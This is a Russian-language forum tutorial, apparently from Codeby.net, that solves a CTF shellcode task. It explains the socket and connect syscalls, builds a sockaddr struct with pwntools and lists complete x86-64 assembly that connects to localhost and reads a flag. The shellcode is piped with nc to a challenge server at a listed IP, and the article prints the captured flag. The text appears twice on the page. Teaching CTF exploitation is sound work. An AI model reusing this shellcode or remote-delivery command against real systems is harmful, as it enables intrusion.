🖐 Приветствую всех читателей Codeby.net 🖐
Это третья часть цикла статей "Изучаем таски по написанию шелл-кодов". Сегодня мы изучим, как создать сокет и подключиться к нему. А ещё узнаем о том, как важно внимательно читать.
Прошлая часть -> [0x02] Изучаем таски по написанию шелл-кодов: ls_cat
Описание таска local
Наша задача подключиться к localhost с портом 31337.
Изучим программу local.elf
При декомпиляции в IDA PRO опять ошибка.
Seccomp-tools спешит на помощь:
Появились новые разрешённые системные вызовы
Системный вызов socket
Системный вызов connect
Напишем шелл-код
Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.
Для работы с системным вызовом socket, нам нужно передать такие константы: AF_INET ( domain ) и SOCK_STREAM ( type ). В protocol задаётся определённый протокол, используемый с сокетом. Обычно, только единственный протокол существует для поддержи определённого типа сокета с заданным семейством протоколов, в этом случае в protocol можно указать 0.
Константы
Перед написанием кода, мы установим фреймворк pwntools для языка программирования Python.
Установка
Чтобы определить системные константы (AF_INET и SOCK_STREAM), мы используем
Теперь решим вопрос с системным вызовом connect. Вторым аргументом он принимает структуру
Код на Python:
Вывод:
Цифры (
В одном ascii символе 8 бит. Если вам нужно распаковать одну букву, то используйте
Изучим работу функций pack и unpack
Пишем полный шелл-код для таска:
Сохраняем код в
Компилируем в бинарный файл:
Испытываем программу на сервере:
Вывод:
Флаг -
Проверка флага
Будьте внимательны!
Если в шелл-коде вместо инструкций передающие указатель на структуру написать инструкции передающие саму структуру, то он работать не будет.
В системном вызове connect (
В регистре rsi лежит структура ( шелл-код не будет работать )
В регистре rsi лежит указатель на структуру ( шелл-код будет работать )
Внимательно изучайте man-страницы или документации!
Спасибо за внимание
Это третья часть цикла статей "Изучаем таски по написанию шелл-кодов". Сегодня мы изучим, как создать сокет и подключиться к нему. А ещё узнаем о том, как важно внимательно читать.
Прошлая часть -> [0x02] Изучаем таски по написанию шелл-кодов: ls_cat
Описание таска local
Наша задача подключиться к localhost с портом 31337.
Изучим программу local.elf
При декомпиляции в IDA PRO опять ошибка.
Seccomp-tools спешит на помощь:
seccomp-tools dump ./local.elf
Появились новые разрешённые системные вызовы
socket
и connect
.Системный вызов socket
int socket(int domain, int type, int protocol);
socket() создаёт конечную точку соединения и возвращает файловый дескриптор, указывающий на эту точку.
Параметр domain задает домен соединения: выбирает семейство протоколов, которое будет использоваться для создания соединения. Семейства описаны в <sys/socket.h>.
В случае успешного выполнения возвращается дескриптор, ссылающийся на сокет. В случае ошибки возвращается -1, а значение errno устанавливается соответствующим образом.
Ссылка скрыта от гостей
Системный вызов connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Системный вызов connect() устанавливает соединение с сокетом, заданным файловый дескриптором sockfd, ссылающимся на адрес addr. Аргумент addrlen определяет размер addr.
Если соединение или привязка прошла успешно, возвращается ноль. При ошибке возвращается -1, а errno устанавливается должным образом.
Ссылка скрыта от гостей
Напишем шелл-код
Ссылка скрыта от гостей
Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.
int socket(int domain, int type, int protocol);
Для работы с системным вызовом socket, нам нужно передать такие константы: AF_INET ( domain ) и SOCK_STREAM ( type ). В protocol задаётся определённый протокол, используемый с сокетом. Обычно, только единственный протокол существует для поддержи определённого типа сокета с заданным семейством протоколов, в этом случае в protocol можно указать 0.
Константы
Название | Назначение | Справочная страница |
AF_UNIX, AF_LOCAL | Локальное соединение |
Ссылка скрыта от гостей
(7) |
AF_INET | Протоколы Интернет IPv4 |
Ссылка скрыта от гостей
(7) |
AF_INET6 | Протоколы Интернет IPv6 |
Ссылка скрыта от гостей
(7) |
AF_IPX | Протоколы Novell IPX | |
AF_NETLINK | Устройство для взаимодействия с ядром |
Ссылка скрыта от гостей
(7) |
AF_X25 | Протокол ITU-T X.25/ISO-8208 |
Ссылка скрыта от гостей
(7) |
AF_AX25 | Протокол любительского радио AX.25 | |
AF_ATMPVC | Доступ к низкоуровневым PVC в ATM | |
AF_APPLETALK | AppleTalk |
Ссылка скрыта от гостей
(7) |
AF_PACKET | Низкоуровневый пакетный интерфейс |
Ссылка скрыта от гостей
(7) |
AF_ALG | Интерфейс к ядерному крипто-API |
SOCK_STREAM - Обеспечивает создание двусторонних, надёжных потоков байтов на основе установления соединения. Может также поддерживаться механизм внепоточных данных.
Перед написанием кода, мы установим фреймворк pwntools для языка программирования Python.
Ссылка скрыта от гостей
Установка
Bash:
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
Чтобы определить системные константы (AF_INET и SOCK_STREAM), мы используем
constgrep
.
Bash:
constgrep AF_INET
# Вывод
#define AF_INET 2
#define AF_INET6 10
constgrep SOCK_STREAM
# Вывод
#define SOCK_STREAM 1
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
Теперь решим вопрос с системным вызовом connect. Вторым аргументом он принимает структуру
sockaddr
. Время научиться передавать структуры в шелл-код. Описание структуры sockaddr
было взято с сайта
Ссылка скрыта от гостей
Google нам в помощь.Код на Python:
Python:
from pwn import * # Импортируем все функции из библиотеки pwn (pwntools)
'''
struct sockaddr_in {
u_short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
'''
struct = p16(2) # Упаковываем (pack - p) число 2 в переменную struct
struct += p16(31337, endianness='big') # Упаковываем (pack - p) порт 31337 в переменную struct в порядке big endian
struct += p8(127) + p8(0) + p8(0) + p8(1) # Упаковываем адрес 127.0.0.1 в переменную struct
print(len(struct)) # Печатаем длину переменной struct
print(u64(struct)) # Распаковываем переменную struct в виде числа для регистра в архитектуры x64
print(hex(u64(struct))) # Печатаем переменную struct в виде числа в 16ой системе счисления (hex)
Вывод:
Bash:
8 # длина
72058141268377602 # нужное значение в десятичной системе счисления. Это значение нам нужно.
0x100007f697a0002 # нужное значение в шестнадцатеричной системе счисления
p
обозначает упаковать ( pack
). Обычно упаковывают набор ascii символов в строки.u
обозначает распаковать ( unpcack
). Обычно распаковывают строки в набор ascii символов.Цифры (
8
, 16
, 32
, 64
) обозначают необходимое количество бит для функции.В одном ascii символе 8 бит. Если вам нужно распаковать одну букву, то используйте
u8()
. Для 2 букв нужна функция u16()
, для 4 - u32()
, а для 8 - u64()
.1 байт = 8 бит
2 байта = 16 битам
4 байта = 32 бита
8 байт = 64 битам
Изучим работу функций pack и unpack
Python:
from pwn import * # Импортируем все функции из библиотеки pwn (pwntools)
print(u8('A'))
# 65
print(u16('AA'))
# 16705
print(u32('AAAA'))
# 1094795585
print(u64('AAAAAAAA'))
# 4702111234474983745
print(p8(0x41))
# b'A'
print(p16(0x4141))
# b'AA'
print(p32(0x41414141))
# b'AAAA'
print(p64(0x4141414141414141))
# b'AAAAAAAA'
Пишем полный шелл-код для таска:
C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для архитектуры x64
; int socket(int domain, int type, int protocol);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
push 0x29 ; Кладём на стек номер системного вызова socket
pop rax ; Забираем из стека номер системного вызова socket в регистр rax
push 0x2 ; Кладём на стек номер константы AF_INET (2)
pop rdi ; Забираем со стека номер константы AF_INET (2)
push 0x1 ; Кладём на стек номер константы SOCK_STREAM (1)
pop rsi ; Забираем со стека номер константы SOCK_STRAM (1)
xor edx, edx ; Обнуляем регистр rdx
syscall ; Системный вызов socket
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
mov rsi, 72058141268377602 ; Перемещаем структуру, сгенерированную в python, в регистр rsi
push rsi ; Кладём на стек структуру, сгенерированную в python
mov rsi, rsp; Перемещаем адрес структуры из стека в регистр rsi
push 0x10 ; Кладём на стек размер структуры для системного вызова connect
pop rdx ; Забираем со стека размер структуры для системного вызова connect в регистр rdx
push 0x2a ; Кладём номер системного вызова connect на вершину стека
pop rax ; Забираем с вершины стека номер системного вызова connect
syscall ; Системный вызов connect
; ssize_t read(int fd, void *buf, size_t count);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
xor eax, eax ; Обнуляем регистр rax. Это будет номер системного вызова read.
push 0x60 ; Кладём на стек размер выделенного нами места под флаг
pop rdx ; Забираем из стека размер выделенного нами места в регистр rdx
syscall ; Системный вызов read
; ssize_t write(int fd, const void *buf, size_t count);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
push 1 ; Номер системного вызова write
pop rax; Забираем из стека номер системного вызова write в регистр rax
push 1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax
syscall ; Системный вызов write
Сохраняем код в
shell_local.asm
Компилируем в бинарный файл:
nasm shell_local.asm -o shell_local
Испытываем программу на сервере:
cat shell_local | nc 109.233.56.90 11666
Вывод:
Shellcode: spbctf{c0c2600bbd44ad76843c3624b375710b}VH��jZj*X1�j`ZjXj_
Флаг -
spbctf{c0c2600bbd44ad76843c3624b375710b}
Проверка флага
Будьте внимательны!
Если в шелл-коде вместо инструкций передающие указатель на структуру написать инструкции передающие саму структуру, то он работать не будет.
В системном вызове connect (
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
) второй аргумент должен быть указатель ( const struct sockaddr *addr ) на адрес структуры, а не сама структура.
C-подобный:
; Было
; mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
; mov rsi, 72058141268377602 ; Перемещаем структуру, сгенерированную в python, в регистр rsi
; push rsi ; Кладём на стек структуру, сгенерированную в python
; mov rsi, rsp; Перемещаем адрес структуры из стека в регистр rsi
; Стало
mov rdi, rax ; Перемещаем в rdi файловый дескриптор точки соединения, после создания сокета с помощью системного вызова open
mov rsi, 72058141268377602 ;
В регистре rsi лежит структура ( шелл-код не будет работать )
В регистре rsi лежит указатель на структуру ( шелл-код будет работать )
Внимательно изучайте man-страницы или документации!
Спасибо за внимание
Последнее редактирование: